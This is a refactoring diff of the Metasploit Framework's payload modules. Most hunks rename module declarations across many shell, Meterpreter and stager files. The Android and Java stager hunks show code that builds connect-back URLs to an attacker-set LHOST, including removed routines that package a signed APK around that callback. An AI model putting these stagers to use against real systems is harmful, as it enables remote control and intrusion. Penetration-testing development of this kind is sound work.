a/modules/payloads/singles/solaris/x86/shell_find_port.rb b/modules/payloads/singles/solaris/x86/shell_find_port.rb index 63f6835cfc..c06c224c1e 100644 --- a/modules/payloads/singles/solaris/x86/shell_find_port.rb +++ b/modules/payloads/singles/solaris/x86/shell_find_port.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 86 diff --git a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb index 8263e301da..14b2b37855 100644 --- a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 91 diff --git a/modules/payloads/singles/tty/unix/interact.rb b/modules/payloads/singles/tty/unix/interact.rb index 71ef428f1d..af1d155348 100644 --- a/modules/payloads/singles/tty/unix/interact.rb +++ b/modules/payloads/singles/tty/unix/interact.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/find_tty' require 'msf/base/sessions/command_shell' -module Metasploit3 +module MetasploitModule CachedSize = 0 diff --git a/modules/payloads/singles/windows/adduser.rb b/modules/payloads/singles/windows/adduser.rb index ce3d1fd43c..3c20929862 100644 --- a/modules/payloads/singles/windows/adduser.rb +++ b/modules/payloads/singles/windows/adduser.rb @@ -13,7 +13,7 @@ require 'msf/core/payload/windows/exec' # Extends the Exec payload to add a new user. # ### -module Metasploit3 +module MetasploitModule CachedSize = 282 diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index dcb1415381..943fbec81f 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 285 diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index 3ecde4535b..1354a8d750 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 423 diff --git a/modules/payloads/singles/windows/exec.rb b/modules/payloads/singles/windows/exec.rb index 436c0c3dfe..4df00b2d8f 100644 --- a/modules/payloads/singles/windows/exec.rb +++ b/modules/payloads/singles/windows/exec.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/windows/exec' # Executes a command on the target machine # ### -module Metasploit3 +module MetasploitModule CachedSize = 192 diff --git a/modules/payloads/singles/windows/format_all_drives.rb b/modules/payloads/singles/windows/format_all_drives.rb index b9b0d580d4..e8a446f189 100644 --- a/modules/payloads/singles/windows/format_all_drives.rb +++ b/modules/payloads/singles/windows/format_all_drives.rb @@ -14,7 +14,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 393 diff --git a/modules/payloads/singles/windows/loadlibrary.rb b/modules/payloads/singles/windows/loadlibrary.rb index e0072623c0..8fe7335668 100644 --- a/modules/payloads/singles/windows/loadlibrary.rb +++ b/modules/payloads/singles/windows/loadlibrary.rb @@ -11,7 +11,7 @@ require 'msf/core/payload/windows/loadlibrary' # Executes a command on the target machine # ### -module Metasploit3 +module MetasploitModule CachedSize = 230 diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb index 291d792b63..88ee9f8ccf 100644 --- a/modules/payloads/singles/windows/messagebox.rb +++ b/modules/payloads/singles/windows/messagebox.rb @@ -7,7 +7,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 272 diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 8f59094b79..4aba839b4d 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' -module Metasploit4 +module MetasploitModule CachedSize = 957999 diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 488b28e773..9b1ac80418 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' -module Metasploit4 +module MetasploitModule CachedSize = 959043 diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 1782e416cb..91b073a44b 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' -module Metasploit4 +module MetasploitModule CachedSize = 959043 diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 9b299268cf..8cdbd91f25 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' -module Metasploit4 +module MetasploitModule CachedSize = 957999 diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 33c1f06b81..e2c6f3a72b 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' -module Metasploit3 +module MetasploitModule CachedSize = 957999 diff --git a/modules/payloads/singles/windows/metsvc_bind_tcp.rb b/modules/payloads/singles/windows/metsvc_bind_tcp.rb index 69ffe8e323..c38bd1693c 100644 --- a/modules/payloads/singles/windows/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/windows/metsvc_bind_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 +module MetasploitModule CachedSize = 0 diff --git a/modules/payloads/singles/windows/metsvc_reverse_tcp.rb b/modules/payloads/singles/windows/metsvc_reverse_tcp.rb index 0fd1c8a955..898c4c71ab 100644 --- a/modules/payloads/singles/windows/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/windows/metsvc_reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 +module MetasploitModule CachedSize = 0 diff --git a/modules/payloads/singles/windows/powershell_bind_tcp.rb b/modules/payloads/singles/windows/powershell_bind_tcp.rb index 95ef7b26c2..2d1e407e83 100644 --- a/modules/payloads/singles/windows/powershell_bind_tcp.rb +++ b/modules/payloads/singles/windows/powershell_bind_tcp.rb @@ -14,7 +14,7 @@ require 'msf/core/handler/bind_tcp' # Extends the Exec payload to add a new user. # ### -module Metasploit3 +module MetasploitModule CachedSize = 1703 diff --git a/modules/payloads/singles/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/powershell_reverse_tcp.rb index 487c0d8d35..b822413140 100644 --- a/modules/payloads/singles/windows/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/powershell_reverse_tcp.rb @@ -14,7 +14,7 @@ require 'msf/core/handler/reverse_tcp_ssl' # Extends the Exec payload to add a new user. # ### -module Metasploit3 +module MetasploitModule CachedSize = 1711 diff --git a/modules/payloads/singles/windows/shell_bind_tcp.rb b/modules/payloads/singles/windows/shell_bind_tcp.rb index d3059320ea..fc8d6d0f72 100644 --- a/modules/payloads/singles/windows/shell_bind_tcp.rb +++ b/modules/payloads/singles/windows/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 328 diff --git a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb index 54ba7077c8..584368c19f 100644 --- a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb +++ b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 529 diff --git a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb index ac19a35a63..0416b159d4 100644 --- a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb +++ b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 386 diff --git a/modules/payloads/singles/windows/shell_reverse_tcp.rb b/modules/payloads/singles/windows/shell_reverse_tcp.rb index dd4c6d1167..4ca47a3d69 100644 --- a/modules/payloads/singles/windows/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 324 diff --git a/modules/payloads/singles/windows/speak_pwned.rb b/modules/payloads/singles/windows/speak_pwned.rb index 579e6863a1..c9f0e8ad52 100644 --- a/modules/payloads/singles/windows/speak_pwned.rb +++ b/modules/payloads/singles/windows/speak_pwned.rb @@ -38,7 +38,7 @@ require 'msf/core' require 'msf/core/payload/windows/exec' -module Metasploit3 +module MetasploitModule CachedSize = 247 diff --git a/modules/payloads/singles/windows/x64/exec.rb b/modules/payloads/singles/windows/x64/exec.rb index 92455a5b9b..af38b18781 100644 --- a/modules/payloads/singles/windows/x64/exec.rb +++ b/modules/payloads/singles/windows/x64/exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 275 diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb index 8a8141c20b..d0ec05ceed 100644 --- a/modules/payloads/singles/windows/x64/loadlibrary.rb +++ b/modules/payloads/singles/windows/x64/loadlibrary.rb @@ -7,7 +7,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 313 diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 8cdbcd13e4..493bfbf557 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' -module Metasploit4 +module MetasploitModule CachedSize = 1189423 diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 43a55d8c01..ee87c288fe 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' -module Metasploit4 +module MetasploitModule CachedSize = 1190467 diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 5207a0b0d4..43d0262094 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' -module Metasploit4 +module MetasploitModule CachedSize = 1190467 diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index ea5cab3cc8..1ffc004cee 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' -module Metasploit4 +module MetasploitModule CachedSize = 1189423 diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 5dddb7f1c8..01b46f82fc 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_x64_win' require 'msf/base/sessions/meterpreter_options' require 'rex/payloads/meterpreter/config' -module Metasploit4 +module MetasploitModule CachedSize = 1189423 diff --git a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb index 7b16dad82d..921531bf8a 100644 --- a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb @@ -14,7 +14,7 @@ require 'msf/core/handler/bind_tcp' # Extends the Exec payload to add a new user. # ### -module Metasploit3 +module MetasploitModule CachedSize = 1786 diff --git a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb index 524d876cdc..b3dd0e42c7 100644 --- a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb @@ -14,7 +14,7 @@ require 'msf/core/handler/reverse_tcp_ssl' # Extends the Exec payload to add a new user. # ### -module Metasploit3 +module MetasploitModule CachedSize = 1794 diff --git a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb index 75debdbd54..9fd2b45fb2 100644 --- a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 505 diff --git a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb index 0a4ae497bb..d2b1bb8432 100644 --- a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 460 diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb index 87b2fbf319..b1e91cd704 100644 --- a/modules/payloads/stagers/android/reverse_http.rb +++ b/modules/payloads/stagers/android/reverse_http.rb @@ -7,17 +7,17 @@ require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/uuid/options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic include Msf::Payload::Stager - include Msf::Payload::Dalvik + include Msf::Payload::Android include Msf::Payload::UUID::Options def initialize(info = {}) super(merge_info(info, - 'Name' => 'Dalvik Reverse HTTP Stager', + 'Name' => 'Android Reverse HTTP Stager', 'Description' => 'Tunnel communication over HTTP', 'Author' => ['anwarelmakrahy', 'OJ Reeves'], 'License' => MSF_LICENSE, @@ -28,35 +28,17 @@ module Metasploit3 )) end - def generate_jar(opts={}) - # Default URL length is 30-256 bytes - uri_req_len = 30 + rand(256-30) - # Generate the short default URL if we don't know available space - if self.available_space.nil? - uri_req_len = 5 - end + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_http(opts) + end - url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/" - # TODO: perhaps wire in an existing UUID from opts? - url << generate_uri_uuid_mode(:init_java, uri_req_len) - - classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') - string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url) - apply_options(classes) - - jar = Rex::Zip::Jar.new - jar.add_file("classes.dex", fix_dex_header(classes)) - files = [ - [ "AndroidManifest.xml" ], - [ "resources.arsc" ] - ] - jar.add_files(files, MetasploitPayloads.path("android", "apk")) - jar.build_manifest - - cert, key = generate_cert - jar.sign(key, cert, [cert]) - - jar + def generate_config_bytes(opts={}) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len) + super(opts) end end diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index fa93d598f4..d2346af1b1 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -7,17 +7,17 @@ require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/uuid/options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic include Msf::Payload::Stager - include Msf::Payload::Dalvik + include Msf::Payload::Android include Msf::Payload::UUID::Options def initialize(info = {}) super(merge_info(info, - 'Name' => 'Dalvik Reverse HTTPS Stager', + 'Name' => 'Android Reverse HTTPS Stager', 'Description' => 'Tunnel communication over HTTPS', 'Author' => ['anwarelmakrahy', 'OJ Reeves'], 'License' => MSF_LICENSE, @@ -28,42 +28,17 @@ module Metasploit3 )) end - def generate_jar(opts={}) - # Default URL length is 30-256 bytes - uri_req_len = 30 + rand(256-30) - # Generate the short default URL if we don't know available space - if self.available_space.nil? - uri_req_len = 5 - end - - url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}/" - # TODO: perhaps wire in an existing UUID from opts? - url << generate_uri_uuid_mode(:init_java, uri_req_len) - - classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') - string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url) - - verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], - datastore['HandlerSSLCert']) - if verify_cert_hash - hash = 'WWWW' + verify_cert_hash.unpack("H*").first - string_sub(classes, 'WWWW ', hash) - end - - apply_options(classes) - - jar = Rex::Zip::Jar.new - jar.add_file("classes.dex", fix_dex_header(classes)) - files = [ - [ "AndroidManifest.xml" ], - [ "resources.arsc" ] - ] - jar.add_files(files, MetasploitPayloads.path("android", "apk")) - jar.build_manifest - - cert, key = generate_cert - jar.sign(key, cert, [cert]) - - jar + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_https(opts) end + + def generate_config_bytes(opts={}) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + opts[:uri] = generate_uri_uuid_mode(:init_java, uri_req_len) + super(opts) + end + end diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb index 6aa6aaa3fa..423e3f4c1b 100644 --- a/modules/payloads/stagers/android/reverse_tcp.rb +++ b/modules/payloads/stagers/android/reverse_tcp.rb @@ -6,19 +6,22 @@ require 'metasploit-payloads' require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/transport_config' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit4 +module MetasploitModule CachedSize = :dynamic include Msf::Payload::Stager - include Msf::Payload::Dalvik + include Msf::Payload::TransportConfig + include Msf::Payload::Android + include Msf::Payload::UUID::Options def initialize(info = {}) super(merge_info(info, - 'Name' => 'Dalvik Reverse TCP Stager', + 'Name' => 'Android Reverse TCP Stager', 'Description' => 'Connect back stager', 'Author' => ['timwr', 'OJ Reeves'], 'License' => MSF_LICENSE, @@ -29,33 +32,11 @@ module Metasploit4 )) end - def include_send_uuid - false - end - - def generate_jar(opts={}) - jar = Rex::Zip::Jar.new - - classes = MetasploitPayloads.read('android', 'apk', 'classes.dex') - - url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}" - string_sub(classes, 'ZZZZ' + ' ' * 512, 'ZZZZ' + url) - apply_options(classes) - - jar.add_file("classes.dex", fix_dex_header(classes)) - - files = [ - [ "AndroidManifest.xml" ], - [ "resources.arsc" ] - ] - - jar.add_files(files, MetasploitPayloads.path("android", "apk")) - jar.build_manifest - - cert, key = generate_cert - jar.sign(key, cert, [cert]) - - jar + # + # Generate the transport-specific configuration + # + def transport_config(opts={}) + transport_config_reverse_tcp(opts) end end diff --git a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb index d6fe01d68c..34c0eab79f 100644 --- a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/bind_tcp' # BSD bind TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 63 diff --git a/modules/payloads/stagers/bsd/x86/bind_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_tcp.rb index defab03f57..d03ccfb2ee 100644 --- a/modules/payloads/stagers/bsd/x86/bind_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/bind_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/bind_tcp' # BSD bind TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 54 diff --git a/modules/payloads/stagers/bsd/x86/find_tag.rb b/modules/payloads/stagers/bsd/x86/find_tag.rb index 5cad0b982e..0eee8c3051 100644 --- a/modules/payloads/stagers/bsd/x86/find_tag.rb +++ b/modules/payloads/stagers/bsd/x86/find_tag.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/find_tag' # BSD find tag stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 40 diff --git a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb index e295af5b26..5506b36ec0 100644 --- a/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/reverse_tcp' # BSD reverse TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 81 diff --git a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb index e044caaa4f..a09c2f6f68 100644 --- a/modules/payloads/stagers/bsd/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/bsd/x86/reverse_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/reverse_tcp' # BSD reverse TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 43 diff --git a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb index d7481715bd..5f6eda8d92 100644 --- a/modules/payloads/stagers/bsdi/x86/bind_tcp.rb +++ b/modules/payloads/stagers/bsdi/x86/bind_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/bind_tcp' # BSD bind TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 69 diff --git a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb index 054aea36fd..c15d4b32d9 100644 --- a/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/bsdi/x86/reverse_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/reverse_tcp' # BSD reverse TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 59 diff --git a/modules/payloads/stagers/java/bind_tcp.rb b/modules/payloads/stagers/java/bind_tcp.rb index e68c528b82..d6d8c0e14e 100644 --- a/modules/payloads/stagers/java/bind_tcp.rb +++ b/modules/payloads/stagers/java/bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 5105 diff --git a/modules/payloads/stagers/java/reverse_http.rb b/modules/payloads/stagers/java/reverse_http.rb index f9087ea550..0022a9e319 100644 --- a/modules/payloads/stagers/java/reverse_http.rb +++ b/modules/payloads/stagers/java/reverse_http.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/handler/reverse_http' -module Metasploit3 +module MetasploitModule CachedSize = 5123 @@ -41,7 +41,7 @@ module Metasploit3 def config # Default URL length is 30-256 bytes - uri_req_len = 30 + rand(256-30) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) # Generate the short default URL if we don't know available space if self.available_space.nil? @@ -53,8 +53,8 @@ module Metasploit3 c << "Spawn=#{spawn}\n" c << "URL=http://#{datastore["LHOST"]}" c << ":#{datastore["LPORT"]}" if datastore["LPORT"] - c << "/" - c << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len) + c << "#{luri}" + c << generate_uri_uuid_mode(:init_java, uri_req_len) c << "\n" c diff --git a/modules/payloads/stagers/java/reverse_https.rb b/modules/payloads/stagers/java/reverse_https.rb index 9072228fbd..92ec6b6e7f 100644 --- a/modules/payloads/stagers/java/reverse_https.rb +++ b/modules/payloads/stagers/java/reverse_https.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/uuid/options' -module Metasploit3 +module MetasploitModule CachedSize = 5932 @@ -57,6 +57,7 @@ module Metasploit3 c << "Spawn=#{spawn}\n" c << "URL=https://#{datastore["LHOST"]}" c << ":#{datastore["LPORT"]}" if datastore["LPORT"] + c << "#{luri}" c << generate_uri_uuid_mode(:init_java, uri_req_len) c << "\n" diff --git a/modules/payloads/stagers/java/reverse_tcp.rb b/modules/payloads/stagers/java/reverse_tcp.rb index ca9106a641..9cf7160f42 100644 --- a/modules/payloads/stagers/java/reverse_tcp.rb +++ b/modules/payloads/stagers/java/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 5118 diff --git a/modules/payloads/stagers/linux/armle/bind_tcp.rb b/modules/payloads/stagers/linux/armle/bind_tcp.rb index 1a3e5300e7..963307b1da 100644 --- a/modules/payloads/stagers/linux/armle/bind_tcp.rb +++ b/modules/payloads/stagers/linux/armle/bind_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/bind_tcp' # Linux bind TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 232 diff --git a/modules/payloads/stagers/linux/armle/reverse_tcp.rb b/modules/payloads/stagers/linux/armle/reverse_tcp.rb index 8876eba6aa..9d5c456f45 100644 --- a/modules/payloads/stagers/linux/armle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/armle/reverse_tcp.rb @@ -16,7 +16,7 @@ require 'msf/core/handler/reverse_tcp' # Linux reverse TCP stager. # ### -module Metasploit3 +module MetasploitModule CachedSize = 200 diff --git a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb index 4f3481455b..081c85e869 100644 --- a/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 212 diff --git a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb index 6274680cd0..b717932d91 100644 --- a/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 212 diff --git a/modules/payloads/stagers/linux/x64/bind_tcp.rb b/modules/payloads/stagers/linux/x64/bind_tcp.rb index e03be3f9bf..2fe49ef020 100644 --- a/modules/payloads/stagers/linux/x64/bind_tcp.rb +++ b/modules/payloads/stagers/linux/x64/bind_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 78 diff --git 